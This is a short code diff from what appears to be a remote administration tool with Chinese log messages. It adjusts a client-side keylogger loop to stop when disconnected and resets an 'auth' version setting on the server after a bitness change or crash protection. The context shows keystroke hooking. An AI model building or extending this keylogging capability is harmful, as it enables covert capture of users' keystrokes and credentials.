diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp
index 955e38c..f10ead7 100644
--- a/client/KeyboardManager.cpp
+++ b/client/KeyboardManager.cpp
@@ -679,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
         if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
             return -1;
         }
-        while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
+        while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
 #else
         int num = lstrlen(KeyBuffer);
         if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp
index e7ca871..137ddaf 100644
--- a/server/2015Remote/2015Remote.cpp
+++ b/server/2015Remote/2015Remote.cpp
@@ -478,6 +478,14 @@ BOOL CMy2015RemoteApp::InitInstance()
         Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
         return FALSE;
     }
+    iniFile cfg;
+    int bits = cfg.GetInt("auth", "bits", 64);
+    const int currentBits = sizeof(int*) * 8;
+    if (bits != currentBits) {
+        Mprintf("[InitInstance] 运行%d位程序，上次运行为%d位\n", currentBits, bits);
+        cfg.SetInt("auth", "bits", currentBits);
+        cfg.SetStr("auth", "version", "");
+    }
 
     BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
 
@@ -489,6 +497,7 @@ BOOL CMy2015RemoteApp::InitInstance()
         THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0);
         // 确保是正常模式（服务端已设置，这里再次确保）
         THIS_CFG.SetInt("settings", "RunNormal", 1);
+        THIS_CFG.SetStr("auth", "version", "");
         runNormal = 1;
         Mprintf("[InitInstance] 检测到代理崩溃保护标志，切换到正常运行模式。\n");
         MessageBoxL("检测到代理程序连续崩溃，已自动切换到正常运行模式。\n\n"